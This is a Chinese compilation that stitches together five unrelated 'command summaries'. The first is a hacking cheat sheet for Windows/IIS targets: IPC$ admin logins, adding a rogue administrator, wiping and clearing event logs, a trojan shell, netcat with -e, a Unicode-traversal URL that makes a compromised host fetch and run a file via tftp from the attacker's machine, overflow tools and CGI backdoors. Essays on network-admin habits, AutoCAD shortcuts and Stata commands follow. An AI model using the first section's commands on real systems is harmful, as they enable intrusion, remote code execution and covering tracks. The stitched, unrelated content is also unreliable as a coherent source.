网管和黑客常用的命令总结

第一篇：网管和黑客常用的命令总结

常用的几条NET命令：

====

（与远程主机建立空管连接）net use IP地址ipc$ “" /use:”“

（以管理员身份登录远程主机）net use IP地址ipc$ ”密码“ /use:”Administrator“

（传送文件到远程主机WINNT目录下）copy 本机目录路径程序 IP地址admin$

（查看远程主机时间）net time IP地址

（定时启动某个程序）at IP地址 02:18 readme.exe

（查看共享）net view IP地址

（查看netbios工作组列表）nbtstat-A IP地址

（将远程主机C盘映射为自己的F盘）net use f: IP地址c$ ”“/user:”Administrator“

（这两条把自己增加到管理员组）： net user 用户名 密码 /add

net localgroup Administrators 用户名 /add

（断开连接）net use IP地址ipc$ /delete

=======

擦屁屁：

del C:winntsystem32logfiles*.*

del C:winntsystem32config*.evt

del C:winntsystem32dtclog*.*

del C:winntsystem32*.log

del C:winntsystem32*.txt

del C:winnt*.txt

del C:winnt*.log ============================

一、netsvc.exe

下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：

netsvc /list IP地址

netsvc schedule IP地址 /query

netsvc IP地址 schedule /start

二、OpenTelnet.exe

远程启动主机的Telnet服务，并绑定端口到7878，例如：

OpenTelnet IP地址 用户名 密码 1 7878

然后就可以telnet到主机的7878端口，进入DOS方式下：

telnet IP地址 7878

三、winshell.exe

一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：

p Path（查看winshell主程序的路径信息）

b reBoot（重新启动机器）

d shutDown（关闭机器）

s Shell（执行后你就会看到可爱的“C:>”）

x eXit（退出本次登录会话，此命令并不终止winshell的运行）

CMD> http://.../srv.exe（通过http下载其他网站上的文件到运行winshell的机器上）

四、3389登陆器，GUI方式登录远程主机的五、elsave.exe

事件日志清除工具

elsave-s IP地址-l ”application“-C

elsave-s IP地址-l ”system“-C

elsave-s IP地址-l ”security“-C

执行后成功清除应用程序日志，系统日志，安全日志

六、hbulot.exe

开启win2kserver和winxp的3389服务

hbulot [/r]

使用/r表示安装完成后自动重起目标使设置生效。

七、nc.exe(netcat.exe)

一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。

想要连接到某处: nc [-options] hostname port[s] [ports]...绑定端口等待连接: nc-l-p port [-options] [hostname] [port]

参数:

-e prog 程序重定向，一旦连接，就执行 [危险！]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12,...-h 帮助信息

-i secs 延时的间隔

-l 监听模式，用于入站连接

-n 指定数字的IP地址，不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

八、TFTPD32.EXE

把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp-i 本机IP地址 get 文件名 c:winntsystem32文件名

然后可以直接令文件运行：

http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。

一、一 Xscan命令行运行参数说明：

在检测过程中，按”[空格]“键可以查看各线程状态及扫描进度，按”q“键保存当前数据后提前退出程序，按”“强行关闭程序。

1.命令格式: xscan-host [-] [其他选项]

xscan-file [其他选项]

其中 含义如下:

-port : 检测常用服务的端口状态(可通过datconfig.ini

文件的”PORT-SCAN-OPTIONSPORT-LIST“项定制待检测端口列表)；

-ftp : 检测FTP弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)；

-ntpass : 检测NT-Server弱口令(可通过datconfig.ini文件设置用户名/密码字典文件)；

-cgi : 检测CGI漏洞(可通过datconfig.ini文件的”CGI-ENCODEencode_type“项设置编码方案)；

-iis : 检测IIS漏洞(可通过datconfig.ini文件的”CGI-ENCODEencode_type"项设置编码方案)；

[其他选项] 含义如下:

-v: 显示详细扫描进度

-p: 跳过Ping不通的主机

-o: 跳过没有检测到开放端口的主机

-t : 指定最大并发线程数量和并发主机数量, 默认数量为100,10

第二篇：网管总结

一直做企业网络技术支持，这些年的工作经验告诉我：一个优秀的网络管理人员只有技术是远远不够的，良好的、科学的习惯有时候比技术更加重要。企业网络更多时候运行在常态下，网管更多扮演着网络维护者的角色，而不是消防队、救火队。这个时候，更需要网络管理员以严谨、认真、积极的态度做好网络的日常维护，而良好的习惯在其中起着决定性的作用。那么，企业网管应该养成哪些好习惯呢?下面分网络常态和非常态分别谈谈网管应该具有的好习惯。

1、常态下，未雨绸缪做好网络状况的检测

我认为衡量一个优秀网管的标准，不是看他排网络故障的效率有多高，而是看他维护的网络发生故障的频率有多低。当然，要彻底避免网络故障是不可能的，但是优秀网管可以让其尽可能少地发生。因为，毕竟网络故障已经发生，不管你的排故效率有多高，但或多或少都会对企业的生成造成一定的影响，特别是信息化程度越高的企业这种影响会越大。我认为，除了科学的网络架构与部署之外，常态下的网络状况检测是减少网络故障的有力保障。这也就是优秀网管平时应该做的工作之一。

其实并不是所有的网络故障都是突发性的，大部分故障都有一个累积的过程，是一个由量变到质变的过程。这就像一位“病人”，最初可能不会感到明显的“身体不适”，如果不进行检查是不能发现的。网络维护其实就像给人看病，排故是最后的选择，此前的检测是非必要的。特别对于服务器、路由器/交换机这些核心的网络设备，定期的性能监控是必不可少的。

以路由器为例，网管们通过要对其进行优化，但优化是否会带来其他的隐性问题呢?所以如何及时发现路由优化方面的问题，就是网络定期项目测试中的内容之一，特别是大型网络中则更有必要。如果监控和测试呢?大家知道，许多网络设备如路由器、交换机、只能集线器等都支持SNMP网管功能，但为了全面监测网络通道功能，还需要网络设备支持全面的RMON和RMON2，用这样的设备组建起来的网络其管理和故障诊断功能是很不错的。但现实的问题是，这样的网络设备价格是普通网络设备的6～10倍左右，企业不见得有这些IT预算。因此，为了随时监测网络的服务应用流量及其比例、来源，工作记录以及必要时进行解包分析，我建议网管们在重要的服务器通道或路由通道上安装监测接口。以便必要时可以随时将流量分析仪、网络测试仪接入通道进行监测和分析。这样，一来可以在常态下实时了解设备的运行状态，二来在故障排除时能够快速定位，使得故障的查找时间可以缩短很多，降低运维成本。当然，如果资金允许，我还是建议将流量分析仪长期接入通道对多个重要的网络设备进行全速率透明流量监测，这样便于随时了解设备健康状况。退一步，就算该设备出现故障，我们可以在1分钟之内快速定位故障。

与路由器/交换机类似，网管们要对其他是设备进行实时的监控或者定期的检测。网络监控可用专门的仪器(这当然是最好的)，当然对于IT经费紧缩的企业借用第三方软件也可以实现类似的功能，但是不管怎样，监控、检测是必须要做的。我的感悟，没有监控的网络是不健康的，是一个随时会倒下的“病人”。

2、排故时，不要盲动将网络排故成本将到最低

我遇到过很多这样的网管，当网络发生故障时，不能够冷静地分析问题，而是想当然地进行所谓的“排故”。其结果是不但问题没有解决，而且使得问题扩大化，最后束手无策请专家来维修。而且，由此付出的时间和经济上当投入，使得维护成本大大增加。老总脸色难看，搞得自己很没有面子也很被动。其实，网络排故就像医生为病人做手术或者警察破案，保持一个冷静的头脑是至关重要的，千万不要盲动。现场保存，调查取证，分析研究这是最基本的素质。

(1).评估与现场保存

首要对故障状况有一个大概的评估，是否在自己的能力解决范围之内，如果对自己解决问题没有信心，就不要动手。在专家到来之前，做好现场保存。并进行一定的调查取证，比如故障前的各种操作行为，故障触发时的各种信息，故障现象等。这样在专家到来之后，就能够将这些重要的信息反馈给他们，从而免去他们做类似工作花费的时间，为故障的快速排除赢得时间。当然，在专家排错的过程中要仔细观察，大胆提问，不但要学习如何排除故障，还要搞懂故障发生的原因。这样，当今后遇到此类故障的时候，就能够自己解决。

(2).隔离与实验测试

最小化原则还有一个方面就是，不要让故障扩大，要马上将故障网络进行隔离。另外，不要因为的轻率操作，使得故障不可收拾。对于那些不是非常危急的故障，可以自己尝试解决。我的建议是，条件允许的话最好在实验环境中进行，通过实验室中的设备模拟出类似故障，然后进行排错。如果没有实验环境，在真实环境中进行操作，首先要做好相应的备份，然后进行网络隔离，最后才进行操作。还有，对自己在排故中的每一步操作做好记录。这非常重要，如果排故失败你就有可能回溯。就算不能回溯，在专家到来时，你至少可以告诉他你都进行了哪些操作，这对于专家快速排故是非常重要的。

(3).不能简单粗暴

做技术支持中，我经常看到这样的管理员：当网络被判为病毒发作时，就会首先启用多种杀毒软件进行查杀毒操作，无效。然后，把所有工作站格式化，重新安装其操作系统和应用软件。但由于问题出在服务器，所以仍然不见效。最后，不得不将所有机器(当然也包括服务器)格式化以后重新安装系统平台及应用软件。当然，这种简单粗暴的做法，应当为技术性的网管所不齿。说到底，这不应该算是网络排故，将一个也许很简单的问题扩大化了，由此增加的网络维护成本太大了。我认为，网络排故的两个基本原则是针对性和最小化。忠告网管们千万不要盲动，采取简单粗暴的做法。

当下，崇尚技术认为技术万能的网管不在少数。由于网络的复杂性，技术的有限性(哪怕你技术再高)，仅靠技术不能解决所有问题。因此，我要说的是，如果没有良好的习惯，你一定会为此付出代价。技术与好的习惯对于企业网管，哪个更重要呢?当然不能厚此薄彼，只有两者并举才能成为优秀的网管。

第三篇：AutoCAD2017命令总结

AutoCAD2017命令总结

直线:L+空格

画直线时点三点：C+空格键可以使三条线形成闭合状态 画圆：C+空格

ESC取消一切命令

单击右键可以回到上一步命令（控制在250毫秒内）正交：F8切换正交

绘制线段：光标指定方向，输入数字+空格键 指定长度：输入数字+Tab 指定角度：输入数字+enter 打开设置界面：OP 三角形内画圆采用相切三点画圆

圆弧：端点（起点）----中心点-------端点 删除命令：E+空格键

切换圆弧方向：在最后端点时不点击确定，按住Ctrl移动光标即可改变圆弧方向 启动三点圆弧命令：A+空格键 光顺曲线：BLEND+空格键

修剪命令：首先选好不修剪的位置（选择时呈现蓝色）选好后按空格键，这时光标变成红色X点击后即可修剪。

椭圆绘制：EL+空格键(椭圆命令开始系统设置：端点--端点---高)椭圆圆心命令：EL+空格键+C+空格键 椭圆弧命令：EL+空格键+A+空格键

绘制椭圆弧开始命令前要选择好中心点。

样条曲线拟合：绘制后需要调整时应先将捕捉按钮关闭

样条曲线控制点命令：与样条曲线拟合相似，但是更容易操作 多线段：PL+空格键（多用于计算面积）矩形:REC+空格键

圆角矩形：REC+空格键+F+空格键

设置圆角半径 倒角矩形：REC+空格键+C+空格键

设置倒角半径 多边形：POL+空格键 单点命令：PO +空格键

点设置：DDPTYE+空格键（在页面上无法找到点设置快捷方式要牢记）圆环：DOUNT+空格键（直接在页面上单击圆环命令更方便）

第二章：（图例）

示例图形：移动：M+空格键

减选命令：SHIFT+单击所要减选的图形即可 栏选方式：M+空格键+F+空格键

复制命令：单击复制+P(选择上一次点击的对象）+空格键（结束点击空格键）类似选择:选择需要类似选择的一小部分+单击右键 全选：Ctrl+A 快速选择窗口：QSELECT+空格键

（打开快速选择窗口首先要制定范围不然应用将用于所有窗口）

移动捕捉中点：M+空格键（选择需要移动捕捉的对象）按住Shift键单击右键选择中点 移动制定距离：

第四篇：stata命令总结

表2-1: 回归分析相关命令一览

命令用途

anova 方差和协方差分析 heckman Heckman 筛选模型

intreg 离散型变量模型，包括Tobit、cnreg 和intreg ivreg 工具变量法（IV 或2SLS）

newey Newey-West 标准差设定下的回归

prais 针对序列相关的Prais-Winsten, Cochrane-Orcutt, or Hildreth-Lu 回归 qreg 分量回归 reg OLS 回归 sw 逐步回归法

reg3 三阶段最小二乘回归

rreg 稳健回归（不同于方差稳健型回归，即White 方法）sureg 似无相关估计

svyheckman 调查数据的Heckman 筛选模型 svyintreg 调查数据的间断变量回归 svyregress 调查数据的线性回归 tobit Tobit 回归

treatreg treatment 效应模型 truncreg 截断回归

表2-2: 时间序列命令一览

命令用途

clemao1 允许结构突变的单位根检验 zandrews dfuller dfgls pperron coin 单方程协整检验

dwstat 参考dwstat2 , durbina2 durbinh

表2-3: Panel Data 模型相关命令一览I 命令模型

统计描述相关命令：

xtdes 变量类型，数据类型描述 xtsum 基本统计量 xttab 按表格形式列示 xtpattern 面板数据的模式 估计相关命令：

xtreg 面板数据模型（固定效应、随机效应）

xtregar 含有AR(1)干扰项的固定效应和随机效应面板数据模型

xtgls 截面-时序混合模型，可处理异方差、组内序列相关和组间相关性 xtpcse OLS or Prais-Winsten models with panel-corrected standard errors xtrchh Hildreth-Houck random coefficients models xtivreg 面板模型的工具变量或两阶段最小二乘法估计 xtabond Arellano-Bond(1991)线性动态面板数据模型估计

xtabond2 Arellano-Bover(1995)系统GMM 动态面板数据模型估计 xttobit Tobit 随机效应面板模型

xtintreg Random-effects interval data regression models xtlogit Fe, Re, Pa logit models xtprobit Re, Pa probit models xtcloglog Re, Pa cloglog models xtpoisson Fe, Re, Pa Poisson models xtnbreg Fe, Re, Pa negative binomial models xtfrontier 面板随机前沿模型

xthtylor Hausman-Taylor estimator for error-components models

表2-4: Panel Data 模型相关命令一览II 命令模型

假设检验相关：

test Wald 检验，如时间效应联合显著性检验 xttest0 随机效应检验 xttest1 面板序列相关检验 xttest2 ads xtserial Wooldridge 一阶序列相关检验 xtab Arellano 面板一阶序列相关检验 hausman Hausman 检验 面板单位根和协整相关： xtunit stata提供的检验方法

ipshin IPS(2003)面板单位根检验

levilin Levin，Lin和Chu(LLC, 2002)面板单位根检验 madfuller Sarno-Taylor(1998)面板单位根检验

xtfisher Maddala和Wu(1999),基于P 值的面板单位根检验

表2-5: Post-estimation Commands 命令名称用途

adjust 列示预测结果的均质，适于多种回归分析，可分组列示 estimates 估计结果的存储、再显示、列表比较等 hausman Hausman 模型识别检验

lincom 获得参数的线性组合，在Logit 模型中可以获得系数线性组合的OR 值 linktest 但方程link 识别检验，用y 对Oy 和Oy2 回归 lrtest 似然比（LR）检验

mfx 计算边际效应和弹性系数 nlcom 系数的非线性组合 predict 获得拟合值、残差等

predictnl 获得非线性估计的拟合值、残差等 test 线性约束的假设检验，Wald 检验 testnl 非线性约束的假设检验

vce 列示参数估计值的方差-协方差矩阵

表2-6: 二维图种类一览

图形种类简单描述 scatter scatterplot line line plot connected connected-line plot scatteri scatter with immediate arguments area line plot with shading bar bar plot spike spike plot dropline dropline plot dot dot plot rarea range plot with area shading rbar range plot with bars rspike range plot with spikes rcap range plot with capped spikes rcapsym range plot with spikes capped with symbols rscatter range plot with markers rline range plot with lines rconnected range plot with lines and markers tsline time-series plot tsrline time-series range plot mband median-band line plot mspline spline line plot lowess LOWESS line plot lfit linear prediction plot qfit quadratic prediction plot fpfit fractional polynomial plot lfitci linear prediction plot with CIs qfitci quadratic prediction plot with CIs fpfitci fractional polynomial plot with CIs function line plot of function histogram histogram plot kdensity kernel density plot 表2-7: 二维图选项一览

选项类别简单描述

added line options draw lines at specified y or x values added text option display text at specified(y,x)value axis options labels, ticks, grids, log scales title options titles, subtitles, notes, captions legend option legend explaining what means what scale(#)resize text, markers, and line widths region options outlining, shading, aspect ratio, size aspect option constrain aspect ratio of plot region scheme(schemename)overall look by(varlist,...)repeat for subgroups nodraw suppress display of graph name(name,...)specify name for graph saving(filename,...)save graph in file advanced options difficult to explain 表2-9: 模拟分析相关命令一览

命令用途备注 抽样相关：

corr2data 产生具有指定相关性的数据仅适用于模拟相关分析 drawnorm invnorm(uniform())产生服从标准正态分布的随机数函数，可调节均值和方差 matuniform(r,c)产生均匀分布函数

sample 从现有数据中进行非重复随机抽样参考bsample sim arma 产生服从ARIMA 过程的随机变量需要下载 Bootstrap 相关： bootstrap bs bstat bsample MC 相关: simulate MC simulation jknife 类似于MC permute postfile 存储MC 的结果 statsby exp list

第五篇：stata命令总结

stata11常用命令

注：JB统计量对应的p大于0.05，则表明非正态，这点跟sktest和swilk检验刚好相反； dta为数据文件； gph为图文件； do为程序文件；

注意stata要区别大小写； 不得用作用户变量名：

_all _n _N _skip _b _coef _cons _pi _pred _rc _weight double float long int in if using with 命令：

读入数据一种方式 input x y 1 4 2 5.5 3 6.2 4 7.7 5 8.5 end su/summarise/sum x 或 su/summarise/sum x,d 对分组的描述： sort group by group:su x %%%%% tabstat economy,stats(max)%返回变量economy的最大值

%%stats括号里可以是：mean，count(非缺失观测值个数)，sum(总和)，max，min，range，%% sd，var，cv(变易系数＝标准差/均值)，skewness，kurtosis，median，p1(1％分位

%% 数，类似地有p10, p25, p50, p75, p95, p99)，iqr(interquantile range = p75 – p25)_all %描述全部

_N 数据库中观察值的总个数。_n 当前观察值的位置。_pi 圆周率π的数值。list gen/generate %产生数列 egen wagemax=max(wage)clear use by(分组变量)set more 1/0 count %计数

gsort +x(升序)gsort-x(降序)sort x 升序；并且其它变量顺序会跟着改变 label var y “消费” %添加标签 describe %描述数据文件的整体，包括观测总数，变量总数，生成日期，每个变量的存储类型(storage type)，标签(label)replace x5=2*y if x!=3 %替换变量值

replace age = 25 in 107 %令第107个观测中age为25 rename y2 u %改变变量名

drop in 2 %删除全部变量的第2行

drop if x==.删去x为缺失值的所有记录

keep if x<2 %保留小于2的数据，其余变量跟随x改变 keep in 2/10 %保留第2-10个数

keep x1-x5 %保留数据库中介于x1和x5间的所有变量(包括x1和x5)，其余变量删除

ci x1 x2,by(group)%算出置信区间,不过先前对group要先排序，即sort group；

%by的意思逐个进行

cii 12 3.816667 0.2710343, level(90)%已知均值，方差，计算90%的置信区间

cii 10 2 %obs=10,mean=2,以二项分布形式，计算置信区间 centile x,centile(2.5 25 50 75 97.5)%取分位数 correlate/corr x y z %相关系数

pwcorr x y,sig %给出原假设r=0的命令 %如果变量非服从正态分布，则spearman x y regress/reg mean year %回归方程建立 reg y x,noconstant %无常数项 predict meanhat %预测拟合值 predict e,residual %得到残差 estat hettest % 异方差检验

dwstat % Durbin-Watson自相关检验 vif % 方差膨胀因子

logit y x1 x2 x3(y取0或1，是被解释变量，x1-x3是被解释变量)%logit回归

probit y x1 x2 x3(y取0或1，是被解释变量，x1-x3是被解释变量)%probit回归

tobit y x1 x2 x3(y取值在0和1之间，是被解释变量，x1-x3是被解释变量)%tobit回归

sktest e %残差正态性检验 p>0.05则接受原假设，即服从正态分布； %% sktest是基于变量的偏度和斜度(正态分布的偏度为0，斜度为3)swilk x %基于Shapiro-Wilk检验

%%p值越小，越倾向于拒绝零假设，也就是变量越有可能不服从正态分布 xi %生成虚拟变量 tabulat gender,summ(math)%用gender指标对math进行分类，返回两类math的mean、std、freq tabulate=tab %gen f=int((shengao-164)/3)*3+164 组距为3 tabulate 变量名 [, generate(新变量)missing nofreq nolabel plot ] %%%%% generate(新变量)// 按分组变量产生哑变量 nofreq // 不显示频数 nolabel // 不显示数值标记 plot // 显示各组频数图示 missing // 包含缺失值

cell // 显示各小组的构成比(小组之和为 1)column // 按栏显示各组之构成(各栏总计为 1)row // 按行显示各组之构成(各行总计为 1)%%%%% 求和，求最小？ mod(x,y)%求余数

means %返回三种平均值 di normprob(1.96)di invnorm(0.05)di binomial(20,5,0.5)di invbinomial(20,5,0.5)di tprob(10,2)di invt(10.0.05)di fprob(3,27,1)di invfprob(3,27,0.05)di chi2(3,5)di invchi2(3,0.05)stack x y z,into(e)%把三列合成一列 xpose,clear %矩阵转置

append using d:917.dta %把已打开的文件（x y z）跟0917里的（x y z）合并，是竖向合并，即观察值合并；

merge using D:917.dta %把已打开的文件（x y z）跟0917里的（a b）合并，是横向合并，即变量合并； format x %9.2e %科学记数 format x %9.2f %2位小数

%产生随机数

%1 产生20个在(0，1)区间上均匀分布的随机数uniform()set seed 100 set obs 20 gen r=uniform()list % clear 清除内存

set seed 200 设置种子数为 200 set obs 20 设置样本量为 20 range no 1 20 建立编号 1 至 20 gen r=uniform()产生在(0,1)均匀分布的随机数 gen group=1 设置分组变量 group 的初始值为 1 sort r 对随机数从小到大排序

replace group=2 in 11/20 设置最大的 10 个随机数所对应的记录

为第2组，即：最小的10个随机数所

对应的记录为第1组 sort no 按照编号排序

list 显示随机分组的结果 也可以list if group==1和list no if group==1 %2 产生10个服从正态分布N（100，6^2）的随机数invnorm(uniform())*sigma+u clear 清除内存

set seed 200 设置种子数为 200 set obs 10 设置样本量为 10 gen x=invnorm(uniform())*6+100 产生服从 N(100，6^2)的随机数 list 画图

注意有些图前面要加 histogram 直方图 line 折线图 scatter 散点图

scatter y x,c(l)s(d)b2(“(a)”)graph twoway connected y x 连点图

graph bar(sum)var2,over(var1)blabel(total)%条形图.graph bar p52 p72,by(d).graph bar p52 p72,over(d).graph bar p52 p72,by(d)stack.graph bar p52 p72,over(d)stack ////////////数据如下 %d p52 p72 %1 163.2 27.4 %2 72.5 83.6 %3 57.2 178.2 histogram x,bin(8)norm %画直方图，加正态分数线

graph pie a b o ab if area==1,plabel(_all percent)%画饼图 graph pie var2, over(var1)plabel(_all percent)%饼图 graph pie p52 p72,by(d)%饼图 graph box y1 %箱体图 qnorm x %qq图 lfit y x %回归直线

graph matrix gender economy math 多变量散点图

line yhat x||scatter y x,c(.l)s(O.)xline(12)yline(5.4)%线形图&散点图

有一些通用的选项可以给图形“润色”：

标题 title(“string”)（string可为任意的字符串，下同）脚注 note(“string”)

横座标标题 xtitle(“string”)纵座标标题 ytitle(“sting”)

横座标范围 xaxis(a,b)（a

connect(c...c)//连接各散点的方式，c表示： 或简写为c(c...c).不连接(缺省值)l 用直线连接

L 沿x方向只向前不向后直线连接 m 计算中位数并用直线连接 s 用三次平滑曲线连接 J 以阶梯式直线条连接

|| 用直线连接在同一纵向上的两点

II 同 ||, 只是线的顶部和底部有一个短横 Symbol(s...s)// 表示各散点的图形，s 表示： 或简写为s(s...s)O 大圆圈(缺省值)S 大方块 T 大三角形 o 小圆圈 d 小菱形 p 小加号.小点 i 无符号

[varname] 用变量的取值代码表示 [_n] 用点的记录号表示

数学函数等都要与generate、replace、display一起使用，不能单独使用 程序文件do use d:917.dta reg y x corr y x line y x,saving(d:d4)按ctrl+D执行 字符串操作函数：

length(s)%长度函数，计算s的长度, 如，disp length(“ab”)的结果是2 substr(s,n1,n2)%子串函数，获得从s的n1个字符开始的n2个字符组成的字符串, disp substr(“abcdef”,2,3)的结果是“bcd” string(n)%将数值n转换成字符串函数，如，disp string(41)+“f”的结果是“41f” real(s)%将字符串s转换成数值函数，如，disp real(“5.2”)+1的结果是6.2 upper(s)%转换成大写字母函数，如，disp upper(“this”)的结果是“THIS” lower(s)%转换成小写字母函数，如disp lower(“THIS”)的结果是“this” index(s1,s2)%子串位置函数，计算s2在s1中第一次出现的起始位置, 如果s2不

在s1中, 则结果为0。如，disp index(“this”,“is”)的结果是3, 而index(“this”,“it”)的结果是0 trim(s)%去除字符串前面和后面的空格 ltrim(s)%去除字符串前面的空格 rtrim(s)%去除字符串后面的空格

di sign(x)%x>0时取1, x<0时取-1, x=0时取0； 符号函数 di int(x)%去掉x的小数部分, 得到整数(取整函数)sum(x)%获得包括当前记录及以前的所有记录的x 的和。缺失值(missing value)当0处理;求和函数

max(x1,x2,...,Xn)忽略缺失值;最大值函数 min(x1,x2,...,Xn)忽略缺失值;最小值函数 float(x)%将x转换成浮点表示法。

gen yy=cond(x<2,10,11)%条件函数cond(x,a,b)x可以是一个条件, x非0(条件成立)时取a, x为0(条件不成立)时取b。

gen y1=recode(x,2,5)%归组函数recode(x,x1,x2,...xn)gen y2=autocode(x,3,-2,9)%autocode(x,ng,xmin,xmax)自动将区间（xmin,xmax）分成ng个等长的小区间，其结果是包含x值那个小区间的上界值

t检验： gend=x-y ttestd=0 ttestx=y 如果不配对

ttestx1=x2,unpaired ttestx1=x2,unequalunpaired 已知样本均数、标准差和样本数进行t检验：

ttesti 21 1.28 0.92 0.2 %检验均值是否等于0.2 检验两组均数是否相同：

ttesti 11 10 1.9 14 12.8 2.3 检验变量x1和x2的方差是否相同(即：齐性)sdtestx1=x2

一、配对设计的平均水平检验

当总体服从正态分布时，可以选用t检验，否则用非参符号秩检验 signrankd=0

二、平行对照设计的两组资料平均水平统计检验

如果两组资料的方差齐性和相互独立的，并且每组资料服从正态 分布，则用成组t检验，否则可以用成组Wilcoxon秩和检验 ranksum x, by(group)%2组资料中位数比较 kwallis x, by(group)%多组资料中位数比较 anova x t id %x为因变量，t跟id是因素 egenr=rank(x),by(id)%产生秩r 单因素方差分析: 单因素方差分析又称为OnewayANOVA，用于比较多组样本的均数是否相同，并假定：每组的数据服从正态分布，具有相同的方差，且相互独立，则无 效假设Ho:各组总体均数相同。在STATA中可用命令：

oneway x group, mean bonferroni %bonferroni用于多组样本均数的两两比较检验

logrank t outcome, by(group)%单因素生存分析 两因素方差分析

多因素方差分析：anova y x1 x2 x1*x2